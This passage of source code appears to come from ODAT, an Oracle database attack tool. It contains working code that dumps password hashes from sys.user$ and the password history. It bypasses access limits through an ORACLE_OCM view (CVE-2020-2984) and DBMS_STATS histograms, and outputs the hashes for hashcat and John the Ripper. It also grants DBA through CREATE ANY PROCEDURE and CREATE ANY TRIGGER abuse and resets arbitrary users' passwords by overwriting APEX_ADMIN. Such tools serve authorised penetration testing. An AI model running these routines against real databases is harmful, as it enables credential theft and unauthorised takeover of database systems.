'--accounts-files accounts/logins.txt accounts/pwds.txt'".format(args['server'], args['port'], getSIDorServiceNameWithType(args))) else : args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], getSIDorServiceNameWithType(args),getCredentialsFormated(validAccountsList))) odat-5.1.1/Passwords.py000066400000000000000000000411571423220672100150130ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging from Constants import * from Info import Info from Utils import checkOptionsGivenByTheUser, generateRandomString, ErrorSQLRequest class Passwords (OracleDatabase): ''' Password guesser ''' def __init__(self,args): ''' Constructor ''' logging.debug("Passwords object created") OracleDatabase.__init__(self,args) self.loadInformationRemoteDatabase() self.passwords = [] def __resetPasswordList__(self): ''' reset self.passwords ''' self.passwords = [] def __getLockedUsernames__(self): ''' Returns a list which contains Oracle usernames (i.e accounts) who are locked Return Empty list if an error ''' logging.info("Getting Oracle locked accounts...") lockedAccountList = [] req = "SELECT username, account_status FROM dba_users WHERE account_status != 'OPEN'" results = self.__execQuery__(query=req, ld=['username', 'account_status']) if isinstance(results,Exception): logging.info("Impossible to get locked Oracle accounts: {0}. Continue with empty list of account locked".format(results)) return [] else: logging.info("List of Oracle accounts locked gotten: {0}".format(results)) for anAccount in results: lockedAccountList.append(anAccount['username']) return lockedAccountList def __tryToGetHashedPasswords__(self, blacklistOfUsernames=[]): ''' Try to get hashed password If username is in the blacklist (blacklistOfUsernames), the account is not returned in results In Oracle 11g-12c+: select name, password, spare4 from sys.user$ In Oracle 9-10: SELECT username, password FROM DBA_USERS; Notice: Some DBA users as SYSTEM are not able to access to sys.user$ table on 12c and +. ''' currentUsername = "" isVersionHigh11 = False self.__resetPasswordList__() if self.isDBVersionHigherThan11(): logging.debug("Oracle Database >= 11g, use sys.user$ table for getting passwords") req = "SELECT name, password, spare4 FROM sys.user$" results = self.__execQuery__(query=req,ld=['name', 'password','spare4']) isVersionHigh11 = True else : logging.debug("Oracle Database < 11g, use DBA_USERS table for getting passwords") req = "SELECT username, password FROM DBA_USERS" results = self.__execQuery__(query=req,ld=['username', 'password']) isVersionHigh11 = False if isinstance(results,Exception): logging.info("Impossible to get hashed passwords: {0}".format(results)) return results else : logging.info("Get hashed passwords") for anAccount in results: if isVersionHigh11 == True: currentUsername = anAccount['name'] else: currentUsername = anAccount['username'] if currentUsername in blacklistOfUsernames: logging.debug("The account {0} will be not in hashed password list because this account is locked".format(currentUsername)) else : self.passwords.append(anAccount) return True def __tryToGetHashedPasswordsfromHistory__(self): ''' Try to get hashed password from select * from sys.user_history$; PASSWORD_REUSE_TIME or/and PASSWORD_REUSE_MAX must be used to have passwords in this table ''' self.__resetPasswordList__() req = "SELECT user#, password, password_date FROM sys.user_history$" results = self.__execQuery__(query=req,ld=['user#', 'password','password_date']) if isinstance(results,Exception): logging.info("Impossible to get hashed passwords from the sys.user_history$ table: {0}".format(results)) return results else : logging.info("Get hashed passwords from the sys.user_history$ table") for l in results: self.passwords = results return True def __tryToGetHashedPasswordsWithOracleOCM__(self, blacklistOfUsernames=[]): ''' Try to get hashed password with Oracle_OCM to bypass restrictions (with system account for example) on 12c and + Only valid on Oracle Database >= 12c If username is in the blacklist (blacklistOfUsernames), the account is not returned in results Return an Error object if a problem. Otherwise return True if hashes has been got. Otherwise False ''' currentUsername = "" self.__resetPasswordList__() if self.isDBVersionHigherThan12(): logging.info("Trying to get hashes Oracle_OCM view ") randomViewName = generateRandomString(length=10) REQ_CREATE_VIEW = "CREATE OR REPLACE VIEW oracle_ocm.{0} AS SELECT name, password, spare4 FROM sys.user$".format(randomViewName) REQ_DELETE_VIEW = "DROP VIEW oracle_ocm.{0}".format(randomViewName) REQ_GET_PWDS = "SELECT name, password, spare4 FROM oracle_ocm.{0}".format(randomViewName) status = self.__execPLSQL__(REQ_CREATE_VIEW) if isinstance(status, Exception): #Sometimes error " missing keyword", retry in this case if "ORA-00905" in str(status): status = self.__execPLSQL__(REQ_CREATE_VIEW) if isinstance(status, Exception): logging.info("Impossible to create the view in oracle_ocm: {0}".format(self.cleanError(status))) return status results = self.__execQuery__(query=REQ_GET_PWDS,ld=['name', 'password','spare4']) status = self.__execPLSQL__(REQ_DELETE_VIEW) if isinstance(status, Exception): logging.error("Impossible to drop view in oracle_ocm: {0}".format(self.cleanError(status))) else: logging.warning("Hashes can not be got with Oracle_OCM. This method is only valid when database is 12c or higher") return False if isinstance(results, Exception): logging.info("Impossible to get hashed passwords: {0}".format(results)) return results else: logging.info("Get hashed passwords") for anAccount in results: currentUsername = anAccount['name'] if currentUsername in blacklistOfUsernames: logging.debug( "The account {0} will be not in hashed password list because this account is locked".format(currentUsername)) else: self.passwords.append(anAccount) return True def getHashedPasswordsWithDBMS_STATS(self): ''' Try to get user, password and spare4 from sys.user$ with DBMS_STAT module. Some users are not allowed to access to user$ table directly (e.g. SYSTEM user). With DBMS_STAT module, the user can elevate his privileges and he can access to credetnials stored in user$ table. Tested on 18c & 19c but should work in older versions (>=11). Privilege required: ANALYZE ANY DICTIONARY or OEM_MONITOR role See http://www.red-database-security.com/wp/best_of_oracle_security_2020.pdf for details. Return 3 lists: a list of usernames, list of passwords, and a list of spare4. Return Exception if an error ''' names, passwords, spare4s = [], [], [] REQ_GATHER_STATS = """ BEGIN DBMS_STATS.GATHER_TABLE_STATS( ownname => 'SYS', tabname => 'USER$', method_opt => 'FOR COLUMNS NAME size 255, PASSWORD size 255, SPARE4 size 255'); END; """ REQ_SELECT_NAME = "SELECT endpoint_actual_value FROM all_tab_histograms WHERE table_name='USER$' and column_name='NAME'" REQ_SELECT_PASSWORD = "SELECT endpoint_actual_value FROM all_tab_histograms WHERE table_name='USER$' and column_name='PASSWORD'" REQ_SELECT_SPARE4 = "SELECT endpoint_actual_value FROM all_tab_histograms WHERE table_name='USER$' and column_name='SPARE4'" REQ_DEL_STATS = """ BEGIN DBMS_STATS.DELETE_TABLE_STATS( ownname => 'SYS', tabname => 'USER$'); END; """ logging.info("Trying to get hashes with DBMS_STAT module...") if self.isDBVersionHigherThan11() == True: logging.info("Gather table and column statistics") status = self.__execPLSQL__(REQ_GATHER_STATS) if isinstance(status, Exception): logging.info("Impossible to use DBMS_STAT for getting hashes stored in sys.userp$: {0}".format(status)) return status, None, None logging.info("Get name, password and spare4 columns") resultsName = self.__execQuery__(query=REQ_SELECT_NAME, ld=['NAME']) if isinstance(resultsName, Exception): logging.warning("Impossible to get name via DBMS_STAT: {0}".format(resultsName)) for aR in resultsName: names.append(aR['NAME']) resultsPassword = self.__execQuery__(query=REQ_SELECT_PASSWORD, ld=['PASSWORD']) if isinstance(resultsPassword, Exception): logging.warning("Impossible to get password via DBMS_STAT: {0}".format(resultsPassword)) for aR in resultsPassword: passwords.append(aR['PASSWORD']) resultsSpare4 = self.__execQuery__(query=REQ_SELECT_SPARE4, ld=['SPARE4']) if isinstance(resultsSpare4, Exception): logging.warning("Impossible to get spare4 via DBMS_STAT: {0}".format(resultsSpare4)) for aR in resultsSpare4: spare4s.append(aR['SPARE4']) logging.info("Delete table-related statistics") status = self.__execPLSQL__(REQ_DEL_STATS) if isinstance(status, Exception): logging.warning("Impossible to delete table-related statistics: {0}".format(status)) return names, passwords, spare4s else: logging.info("Get hashes with DBMS_STAT is only valid when Oracle Database >=11g") error = ErrorSQLRequest("Get hashes with DBMS_STAT is only valid when Oracle Database >=11g? It is not the case here.") return error, None, None def printPasswords (self): ''' print passwords ''' for l in self.passwords: if len(l)==3 and 'name' in l and 'spare4' in l and 'password' in l: if (l['password']!=None or l['spare4']!=None): print("{0}; {1}; {2}".format(l['name'], l['password'],l['spare4'])) elif 'username' in l and 'password' in l: if l['password']!=None : print("{0}:{1}".format(l['username'], l['password'])) elif 'user#' in l and 'password' in l and 'password_date' in l: if l['password']!=None : print("{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date'])) def printPasswordsOclHashcat (self): ''' print 10g Oracle hashed for hashcat ''' for l in self.passwords: if 'name' in l and 'password' in l: if l['password']!=None and ' ' not in l['password']: print("{1}:{0}".format(l['name'], l['password'])) elif 'username' in l and 'password' in l: if l['password']!=None : print("{1}:{0}".format(l['username'], l['password'])) elif 'user#' in l and 'password' in l and 'password_date' in l: if l['password']!=None : print("{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date'])) def printPasswordsJohn (self): ''' print 10g Oracle hashed for john the ripper ''' for l in self.passwords: if 'name' in l and 'password' in l: if l['password']!=None and ' ' not in l['password']: print("{0}:{1}".format(l['name'], l['password'])) elif 'username' in l and 'password' in l: if l['password']!=None : print("{0}:{1}".format(l['username'], l['password'])) elif 'user#' in l and 'password' in l and 'password_date' in l: if l['password']!=None : print("{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date'])) def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("Hashed Oracle passwords ?") logging.info("Try to get Oracle hashed passwords") status = self.__tryToGetHashedPasswords__() if status == True : self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") self.args['print'].subtitle("Hashed Oracle passwords with a view in ORACLE_OCM?") logging.info("Try to get Oracle hashed passwords with an ORACLE_OCM view") status = self.__tryToGetHashedPasswordsWithOracleOCM__() if status == True: self.args['print'].goodNews("OK") else: self.args['print'].badNews("KO") logging.info("Try to get Oracle hashed passwords via DBMS_STAT") names, passwords, spare4 = self.getHashedPasswordsWithDBMS_STATS() if isinstance(names, Exception): self.args['print'].badNews("KO") else: self.args['print'].goodNews("OK") self.args['print'].subtitle("Hashed Oracle passwords from history?") logging.info("Try to get Oracle hashed passwords from the history table") status = self.__tryToGetHashedPasswordsfromHistory__() if status == True : self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") def runPasswordsModule(args): ''' Run the Passwords module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","get-passwords","get-passwords-ocm","get-passwords-from-history", "get-passwords-not-locked","get-passwords-ocm-not-locked","get-passwords-dbms-stats"]) == False : return EXIT_MISS_ARGUMENT passwords = Passwords(args) status = passwords.connection(stopIfError=True) if ('info' in args)==False: info = Info(args) info.loadInformationRemoteDatabase() args['info'] = info if args['test-module'] == True : args['print'].title("Test if hashed passwords can be got") status = passwords.testAll() if args['get-passwords'] == True : args['print'].title("Try to get Oracle hashed passwords") status = passwords.__tryToGetHashedPasswords__() if status == True : args['print'].goodNews("Here are Oracle hashed passwords (some accounts can be locked):") passwords.printPasswords() args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (some accounts can be locked):") passwords.printPasswordsOclHashcat() args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (some accounts can be locked):") passwords.printPasswordsJohn() else : args['print'].badNews("Impossible to get hashed passwords: {0}".format(status)) if args['get-passwords-ocm'] == True : args['print'].title("Try to get Oracle hashed passwords with an ORACLE_OCM view (CVE-2020-2984)") status = passwords.__tryToGetHashedPasswordsWithOracleOCM__() if status == True : args['print'].goodNews("Here are Oracle hashed passwords (some accounts can be locked):") passwords.printPasswords() args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (some accounts can be locked):") passwords.printPasswordsOclHashcat() args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (some accounts can be locked):") passwords.printPasswordsJohn() else : args['print'].badNews("Impossible to get hashed passwords with an ORACLE_OCM view: {0}".format(status)) if args['get-passwords-not-locked'] == True : args['print'].title("Try to get Oracle hashed passwords when the account is not locked") blacklistOfUsernames = passwords.__getLockedUsernames__() status = passwords.__tryToGetHashedPasswords__(blacklistOfUsernames) if status == True : args['print'].goodNews("Here are Oracle hashed passwords (all accounts are opened, not locked):") passwords.printPasswords() args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (all accounts are opened, not locked):") passwords.printPasswordsOclHashcat() args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (all accounts are opened, not locked):") passwords.printPasswordsJohn() else : args['print'].badNews("Impossible to get hashed passwords: {0}".format(status)) if args['get-passwords-ocm-not-locked'] == True : args['print'].title("Try to get Oracle hashed passwords with an ORACLE_OCM view (CVE-2020-2984) when the account is not locked") blacklistOfUsernames = passwords.__getLockedUsernames__() status = passwords.__tryToGetHashedPasswordsWithOracleOCM__(blacklistOfUsernames) if status == True : args['print'].goodNews("Here are Oracle hashed passwords (all accounts are opened, not locked):") passwords.printPasswords() args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (some accounts can be locked):") passwords.printPasswordsOclHashcat() args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (some accounts can be locked):") passwords.printPasswordsJohn() else : args['print'].badNews("Impossible to get hashed passwords with an ORACLE_OCM view: {0}".format(status)) if args['get-passwords-from-history'] == True : args['print'].title("Try to get Oracle hashed passwords from history") status = passwords.__tryToGetHashedPasswordsfromHistory__() if status == True : args['print'].goodNews("Here are Oracle hashed passwords:") passwords.printPasswords() else : args['print'].badNews("Impossible to get hashed passwords from history: {0}".format(status)) if args['get-passwords-dbms-stats'] == True: names, passwords, spare4 = passwords.getHashedPasswordsWithDBMS_STATS() if isinstance(names, Exception): args['print'].badNews("Impossible to get hashed passwords with DBMS_STAT: {0}".format(names)) else: args['print'].goodNews("Here are Oracle hashed passwords got with DBMS_STAT") logging.warning("Notice: With this method, impossible to have a link between passwords ('password' & 'spare4' culumns) and usernames ('name' column)") args['print'].goodNews("'name' column of sys.user$:") for aR in names: print(aR) args['print'].goodNews("'password' column of sys.user$:") for aR in passwords: print(aR) args['print'].goodNews("'spare4' column of sys.user$:") for aR in spare4: print(aR) odat-5.1.1/PrivilegeEscalation.py000066400000000000000000001324051423220672100167540ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging, time from Constants import * #from Info import Info from Utils import checkOptionsGivenByTheUser, generateRandomString, ErrorSQLRequest class PrivilegeEscalation (OracleDatabase): ''' Privilege Escalation Module ''' def __init__(self,args): ''' Constructor ''' logging.debug("PrivilegeEscalation object created") OracleDatabase.__init__(self,args) #Ccommon self.GRANT_DBA_TO_USER = "GRANT dba TO {0}"#{0} User def revokeDbaRole(self, user=None): ''' If user = None, user = current user Returns True if nor error Otherwise return Error ''' self.REVOKE_DBA_FROM_USER = "REVOKE dba FROM {0}"#{0} User if user == None : user = self.args['user'] logging.info("Trying to revoke DBA role from '{0}'".format(user)) status = self.__execPLSQL__(self.REVOKE_DBA_FROM_USER.format(user)) if isinstance(status, Exception): logging.info("Impossible to revoke DBA role from {0}: {1}".format(user, self.cleanError(status))) return status else : logging.debug("The DBA role has been revoked from {0}".format(user)) return True def printPrivilegesAndRoles(self, deep=True): ''' print privileges and roles of current user Return True or Exception ''' def __printPrivsOfThisRole__(role, tabulation='', tabSize='\t'): ''' system privileges granted to this role. ''' REQ_GET_PRIVS_OF_THIS_ROLE = "SELECT DISTINCT privilege FROM role_sys_privs ORDER BY 1" results1 = self.__execQuery__(query=REQ_GET_PRIVS_OF_THIS_ROLE, ld=['privilege']) if isinstance(results1,Exception): logging.info("Impossible to get current privileges: {0}.".format(results1)) return results1 else: for aPriv in results1: if aPriv['privilege'] in EXPLOITABLE_SYSTEM_PRIVILEGES: print("{0}system privege: {1}\t <-- exploitable".format(tabulation, self.args['print'].getColoredString(aPriv['privilege'], 'green'))) else: print("{0}system privege: {1}".format(tabulation, aPriv['privilege'])) def __printRolesOfThisRole__(role, tabulation='', tabSize='\t'): ''' Roles granted to this role ''' REQ_GET_PRIVS_OF_THIS_ROLE = "SELECT DISTINCT granted_role FROM role_role_privs ORDER BY 1" results1 = self.__execQuery__(query=REQ_GET_PRIVS_OF_THIS_ROLE, ld=['granted_role']) if isinstance(results1,Exception): logging.info("Impossible to get current privileges: {0}.".format(results1)) return results1 else: for aRole in results1: print('{0}role: {1}'.format(tabulation, aRole['granted_role'])) REQ_GET_CURRENT_PRIVS = "SELECT DISTINCT privilege FROM user_sys_privs order by 1" REQ_GET_CURRENT_ROLES = "SELECT DISTINCT granted_role FROM user_role_privs order by 1" results1 = self.__execQuery__(query=REQ_GET_CURRENT_PRIVS, ld=['privilege']) if isinstance(results1,Exception): logging.info("Impossible to get current privileges: {0}.".format(results1)) return results1 else: logging.info("Privileges of current Oracle user gotten: {0}".format(results1)) results2 = self.__execQuery__(query=REQ_GET_CURRENT_ROLES, ld=['granted_role']) if isinstance(results2,Exception): logging.info("Impossible to get current privileges: {0}.".format(results2)) return results2 else: logging.info("Roles of current Oracle user gotten: {0}".format(results2)) #print "System privileges granted the current user ({0}):".format(self.args['user']) for aPriv in results1: if aPriv['privilege'] in EXPLOITABLE_SYSTEM_PRIVILEGES: print("- system privege: {0}\t <-- exploitable".format(self.args['print'].getColoredString(aPriv['privilege'], 'green'))) else: print("- system privege: {0}".format(aPriv['privilege'])) if len(results2)==0: #print "Roles granted to the current user ({0}): Not one.".format(self.args['user']) pass else: #print "Roles granted to the current user ({0}):".format(self.args['user']) for aRole in results2: print("- role: {0}".format(aRole['granted_role'])) if deep == True: logging.info("Searching system privileges and roles of this role {0}".format(aRole['granted_role'])) __printPrivsOfThisRole__(role=aRole['granted_role'],tabulation='\t- ') __printRolesOfThisRole__(role=aRole['granted_role'],tabulation='\t- ') return True """ def printPrivilegesAndRoles(self): ''' print privileges and roles of current user Return True or Exception ''' REQ_GET_CURRENT_PRIVS = "SELECT privilege FROM user_sys_privs order by 1" REQ_GET_CURRENT_ROLES = "SELECT granted_role FROM user_role_privs order by 1" REQ_GET_PRIV_OF_A_ROLE = "SELECT privilege FROM role_sys_privs WHERE role = '{0}' order by 1" results1 = self.__execQuery__(query=REQ_GET_CURRENT_PRIVS, ld=['privilege']) if isinstance(results1,Exception): logging.info("Impossible to get current privileges: {0}.".format(results1)) return results1 else: logging.info("Privileges of current Oracle user gotten: {0}".format(results1)) results2 = self.__execQuery__(query=REQ_GET_CURRENT_ROLES, ld=['granted_role']) if isinstance(results2,Exception): logging.info("Impossible to get current privileges: {0}.".format(results2)) return results2 else: logging.info("Roles of current Oracle user gotten: {0}".format(results2)) print "System privileges granted the current user ({0}):".format(self.args['user']) for aPriv in results1: print "- {0}".format(aPriv['privilege']) if len(results2)==0: print "Roles granted to the current user ({0}): Not one.".format(self.args['user']) else: print "Roles granted to the current user ({0}):".format(self.args['user']) for aRole in results2: print "- {0}".format(aRole['granted_role']) logging.info("Searching system privileges of this role {0}".format(aRole['granted_role'])) results3 = self.__execQuery__(query=REQ_GET_PRIV_OF_A_ROLE.format(aRole['granted_role']), ld=['privilege']) if isinstance(results3,Exception): logging.info("Impossible to get privileges of role {1}: {0}.".format(results3), aRole['granted_role']) return results3 else: logging.debug("System privileges of this role: {0}".format(results3)) for aPrivFromRole in results3: print " - {0}".format(aPrivFromRole['privilege']) return True """ #################################################################################################################### # Privilege escalation via CREATE/EXECUTE ANY PROCEDURE privileges # # Create a stored procedure in system schema (CREATE ANY PROCEDURE) and execute it (EXECUTE ANY PROCEDURE). # Methods implemented: # - give to the current user the DBA role; # - execute a request as sys. #################################################################################################################### def executeRequestWithExecuteAnyProcedureMethod (self, privRequest=None): ''' Create a stored procedure in system schema (CREATE ANY PROCEDURE) and execute it (EXECUTE ANY PROCEDURE). Returns True if no error. Otherwise returns Exception ''' self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE = "system.odatstoredproc" self.CREATE_STORED_PROCEDURE_FOR_CREATE_EXECUTE_ANY_PROCEDURE="CREATE OR REPLACE PROCEDURE {0} IS BEGIN EXECUTE IMMEDIATE '{1}'; END;" #{0}:procedure name {1}:Request to execute self.EXECUTE_STORED_PROCEDURE="BEGIN {0}; END;"#{0}:procedure name logging.info("Trying to create the stored procedure {1} for executing the request '{0}'".format(repr(privRequest), self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE)) status = self.__execPLSQL__(self.CREATE_STORED_PROCEDURE_FOR_CREATE_EXECUTE_ANY_PROCEDURE.format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE, privRequest)) if isinstance(status, Exception): logging.info("Impossible to create the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE, self.cleanError(status))) return status else : logging.debug("Stored procedure {0} created".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE)) logging.info("Trying to execute the stored procedure '{0}'".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE)) status = self.__execPLSQL__(self.EXECUTE_STORED_PROCEDURE.format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE)) if isinstance(status, Exception): logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE, self.cleanError(status))) self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE) return status else : logging.debug("Stored procedure named '{0}' executed".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE)) self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE) return True def giveDbaRoleWithExecuteAnyProcedureMethod(self, user=None): ''' Try to give the dba role to user If user = None, user = current user Returns: - True if the dba role has been given to user - False if the dba role has NOT been given to user (error) - None if the user has dba role already ''' if user == None : user = self.args['user'] logging.info("Trying to give the DBA role to {0} using CREATE/EXECUTE ANY PROCEDURE method".format(user)) isDBA = self.hasThisRole('DBA',user) if isDBA == True: logging.info("The {0} has already the DBA role. Nothing to do!".format(user)) return None elif isDBA == None: logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user)) return False else: status = self.executeRequestWithExecuteAnyProcedureMethod(privRequest=self.GRANT_DBA_TO_USER.format(user)) if isinstance(status, Exception): logging.debug("DBA role has not been given to {0}".format(user)) return status else: logging.debug("DBA role has been given to {0}".format(user)) return True #################################################################################################################### # Privilege escalation via CREATE ANY PROCEDURE privilege only # # Modify a stored procedure (execute privilege is granted to PUBLIC to this procedure) and execute privileged request # Methods implemented: # - set password of arbitrary oracle user with APEX_ADMIN procedure owned by APEX_040200 # - execute a request as APEX_040200. #################################################################################################################### def executeSytemRequestWithCreateAnyProcedureMethod (self, privRequest=None): ''' When a database user has the "Execute Any Procedure" privilege, he can execute arbitrary privileged SQL requests. returns True if ok. Returns Exception if error. ''' self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "APEX_ADMIN" self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "APEX_040200" #self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "SI_CONVERTFORMAT" #self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "ORDSYS" self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC="BEGIN {0}; END;"#{0}:procedure complete name self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC = "{0}.{1}".format(self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC, self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC) self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE="CREATE OR REPLACE PROCEDURE {0} IS BEGIN EXECUTE IMMEDIATE '{1}'; END;" #{0}:procedure name {1}:Request to execute def __getStoredProcedureWithoutFirstLine__(): ''' Copy the stored procedure WITHOUT the first line Returns string if no error. Returns Exception if error ''' self.GET_CODE_STORED_PROCEDURE="SELECT text FROM all_source WHERE name='{0}' AND owner='{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC) code ="" numLine = 0 logging.info("Trying to get source code of the stored procedure named {0} ".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC)) response = self.__execThisQuery__(self.GET_CODE_STORED_PROCEDURE, ld=['TEXT']) if isinstance(response, Exception): logging.info("Impossible to get the source code of the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.cleanError(response))) return response else: for line in response: if numLine > 0: code += line['TEXT'] numLine += 1 logging.debug('Souce code of {0}: {1}'.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, repr(code))) return code def __restoreStoredProcedure__(storedProcCompleteName, oldSourceCode): ''' Restore the stored procedure with oldSourceCode Returns string if no error. Returns Exception if error ''' REQUEST = "CREATE OR REPLACE PROCEDURE {0}\n{1}".format(storedProcCompleteName, oldSourceCode) logging.debug('The following request will be executed to restore the stored procedure {0}: {1}'.format(storedProcCompleteName, repr(REQUEST))) status = self.__execPLSQL__(REQUEST) if isinstance(status, Exception): logging.info("Impossible to restore the stored procedure named '{0}': {1}".format(storedProcCompleteName, self.cleanError(status))) return status else: logging.info("The stored procedure named '{0}' has been restored".format(storedProcCompleteName)) return True logging.info("Trying to modify the stored procedure {0} for executing the request '{1}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest)) initalSrcCode = __getStoredProcedureWithoutFirstLine__() if isinstance(initalSrcCode, Exception) : logging.info('Impossible to get the source code, cancelling attack....') return initalSrcCode elif initalSrcCode=='': msgerror = "The source code of {0} is empty!".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC) logging.info(msgerror) return ErrorSQLRequest(msgerror) else: logging.info("Modifing the stored procedure...") status = self.__execPLSQL__(self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest)) if isinstance(status, Exception): logging.info("Impossible to modify the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status))) return status else : logging.debug("Stored procedure {0} modified".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) logging.info("Trying to execute the stored procedure '{0}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) status = self.__execPLSQL__(self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) if isinstance(status, Exception): logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status))) __restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode) return status else : logging.debug("Stored procedure named '{0}' executed".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) __restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode) return True def setPasswordWithCreateAnyProcedureMethod(self, user, password): ''' Set the password of an Oralce arbitrary user Returns: - True if ok - Exception if the dba role has NOT been given to user (error) ''' self.ALTER_USER_PASSWORD_FOR_CREATE_ANY_PROCEDURE = "ALTER USER {0} IDENTIFIED BY {1}"#{0} user, {1} password logging.info("Trying to set the password of {0} with '{1}' using CREATE ANY PROCEDURE method only".format(user, password)) isDBA = self.hasThisRole('DBA',user) if isDBA == True: logging.info("The {0} has already the DBA role. Nothing to do normally!".format(user)) elif isDBA == None: logging.info("Impossible to know if {0} is DBA.".format(user)) else: status = self.executeSytemRequestWithCreateAnyProcedureMethod(privRequest=self.ALTER_USER_PASSWORD_FOR_CREATE_ANY_PROCEDURE.format(user, password)) if isinstance(status, Exception): logging.debug("The password of {0} has not been replaced by '{1}': {2}".format(user, password, status)) return status else: logging.debug("The password of {0} has been replaced by '{1}'".format(user, password)) return True #################################################################################################################### # Privilege escalation via CREATE ANY TRIGGER privilege # # Create a stored procedure. It has to be executing with CURRENT_USER rights # Create a trigger to run the stored procedure with SYS's rights. # Methods implemented: # - give to the current user the DBA role; # - execute a request as sys #################################################################################################################### def executeSytemRequestWithCreateAnyTriggerMethod(self, privRequest): ''' Try to execute the privRequest request as System with the CREATE ANY TRIGGER method If user = None, user = current user Returns: - True if the request has been executed - Exception if error ''' self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER = "get_dba_create_any_trigger" self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE PROCEDURE {0} authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}';END;" #{0} procedure name, {1} Request to execute self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER = "ol$" self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER = "system" self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER = '{0}.{1}'.format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER) self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "ol$insert_trg" self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "{0}.{1}".format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER) self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER = "grant execute on {0} TO {1}"#{0}procedure name, {1} user self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE TRIGGER {0} before insert on {1} for each row begin {2}.{3};end;"#{0} Comple Trigger name, {1} complete table name, {2} Oracle user not privileged (PROC), {3} Procedure name self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER = "INSERT INTO {0}(CATEGORY) values ('{1}')".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, generateRandomString(length=20)) user = self.args['user'] logging.info("Trying to create the stored procedure 